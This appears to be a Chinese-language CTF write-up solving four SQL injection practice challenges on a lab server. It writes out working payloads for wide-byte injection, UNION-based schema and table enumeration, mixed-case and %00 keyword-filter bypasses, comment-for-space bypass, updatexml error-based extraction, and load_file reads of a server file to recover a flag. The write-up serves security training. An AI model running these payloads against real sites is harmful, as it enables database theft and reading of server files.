SQL注入练习题解

SQL注入练习题解

SQL-1

题目:http://103.238.227.13:10083/
sql首先用单引号,and 1=1,and 1=2 等,发现已经被过滤了。

1-1

查看网页源代码,发现是gb2312,看表哥发的资料,采用的是宽字节注入

1
http://103.238.227.13:10083/?id=-1%df%27

1-2

发现了注入方法,判断有多少列

1
2
3
4
http://103.238.227.13:10083/?id=-1%df' order by 2 --+
页面正常
http://103.238.227.13:10083/?id=-1%df' order by 3 --+
回显Unknown column '3' in 'order clause'

所以有2列。
查询库名:

1
http://103.238.227.13:10083/?id=-1%df' union select 1,group_concat(schema_name) From information_schema.schemata --+

1-3
查询表名:

1
http://103.238.227.13:10083/?id=-1%df' union select 1,group_concat(table_name) From information_schema.tables Where table_schema=database() --+

1-4

查询列名:

1
http://103.238.227.13:10083/?id=-1%df' union select 1,group_concat(column_name) From information_schema.columns Where table_schema=database() --+

1-5
查询字段名:

from key显示出错,推测过滤了key,经表哥提示,在key前加了.,后来发现在key前加上也可以查出结果。

1
http://103.238.227.13:10083/?id=-1%df%27 union select 1,group_concat(id,char(32),string) from .key --+

1-6

SQL-2

题目地址:http://103.238.227.13:10084/

这题过滤了and等小写单词,但是换成大小写就可以绕过

运用updatexml()函数报错,@@version函数查询数据库版本

1
http://103.238.227.13:10084/?id=-1 aNd uPdatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

2-1

SQL-3

题目:http://103.238.227.13:10087/

题目里过滤了union select等等关键字,查了资料,用%00截断。

1
http://103.238.227.13:10087/?id=1 u%00nion sel%00ect 1,version() --+

3-1
直接查询相应的值

1
http://103.238.227.13:10087/?id=1%20u%00nion%20sel%00ect%20GROUP_CONCAT(hash),1%20fr%00om%20.key%20--+

SQL-4

题目:http://103.238.227.13:10088/

题目过滤了各种符号和union,union select查询就不适用了

限制了空格,用注释代替,/**/

想起了之前的updatexml()函数报错。

1
http://103.238.227.13:10088/?id=-1/**/and/**/updatexml(1,concat(0x7e,(SELECT@@version),0x7e),1)

4-1
运用load_file()函数读取文件

1
http://103.238.227.13:10088/?id=-1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/load_file(0x2f7661722f746573742f6b65795f312e706870)),0x7e),1)

4-2
读取成功

调用substring()函数读取文档中字符串内容

1
http://103.238.227.13:10088/?id=-1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/substring(load_file(0x2f7661722f746573742f6b65795f312e706870),2,32)),0x7e),1)

4-3
是一个php脚本

因为updatexml()、substring()函数每次只能输出32个字符,所以需要分次查询
4-4
4-5
连接字符串得到flag

Flag:”7249f5a7fd1de602b30e6f39aea6193a”

查看资料: